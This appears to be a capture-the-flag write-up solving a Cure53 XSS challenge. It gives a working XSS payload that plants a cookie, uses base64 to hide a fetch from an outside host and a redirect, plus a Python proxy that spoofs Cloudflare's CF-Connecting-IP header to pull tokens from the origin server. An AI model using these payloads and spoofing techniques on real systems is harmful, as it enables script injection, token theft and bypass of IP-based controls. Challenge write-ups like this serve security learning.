Works in latest Firefox 58.0.2 (Windows 10, 64-bit) (copy-paste into browser to preserve URL encoding):
https://henhouse.cure53.berlin?value=<svg onload="document.cookie=`user=onerror%253dalert%253bthrow document.scripts[0].attributes[0].value%252f%252f;domain=.cure53.berlin`;fetch(atob(`aHR0cHM6Ly9iYWphbmlrLmNvbQ==`)).then(r=>r.text()).then(function(t){location=atob(atob(`YUhSMGNITTZMeTluYjJ4a1pXNWxaMmN1WTNWeVpUVXpMbUpsY214cGJpOC9lSE56UFR4NElHbGtQVmR2ZHlBdlBqeHpZM0pwY0hRZ2FXUTlkMlZzWTI5dFpVMXpaejQ4TDNOamNtbHdkRDRtZEc5clpXNDk=`))%2bt})">&key=.element.innerHTML
When pasting into submit.cure53.berlin, the above has to be URL decoded once:
https://henhouse.cure53.berlin?value=<svg onload="document.cookie=`user=onerror%3dalert%3bthrow document.scripts[0].attributes[0].value%2f%2f;domain=.cure53.berlin`;fetch(atob(`aHR0cHM6Ly9iYWphbmlrLmNvbQ==`)).then(r=>r.text()).then(function(t){location=atob(atob(`YUhSMGNITTZMeTluYjJ4a1pXNWxaMmN1WTNWeVpUVXpMbUpsY214cGJpOC9lSE56UFR4NElHbGtQVmR2ZHlBdlBqeHpZM0pwY0hRZ2FXUTlkMlZzWTI5dFpVMXpaejQ4TDNOamNtbHdkRDRtZEc5clpXNDk=`))+t})">&key=.element.innerHTML
server.py running on https://bajanik.com:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
from http import HTTPStatus
import requests
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(HTTPStatus.OK)
self.send_header('Content-type', 'text/plain')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
token = requests.get("http://62.75.188.34/token", headers={"host":"roosterbooster.cure53.berlin","CF-Connecting-IP":self.headers['CF-Connecting-IP']}).content
self.wfile.write(token)
return
def run(server_class=HTTPServer, handler_class=MyHandler):
server_address = ('165.227.165.4', 80)
httpd = server_class(server_address, handler_class)
try:
print("Server works...")
httpd.serve_forever()
except KeyboardInterrupt:
print("Stop the server...")
httpd.socket.close()
if __name__ == '__main__':
run()
I realized that the tokens are based on the user ip, which is obtained from CF's CF-Connecting-IP. I then found the real IP address where the challenge is hosted (same as cure53.de) and spoofed this header to obtain the correct token. I use https://bajanik.com as a proxy to do exactly that and return a CORS response.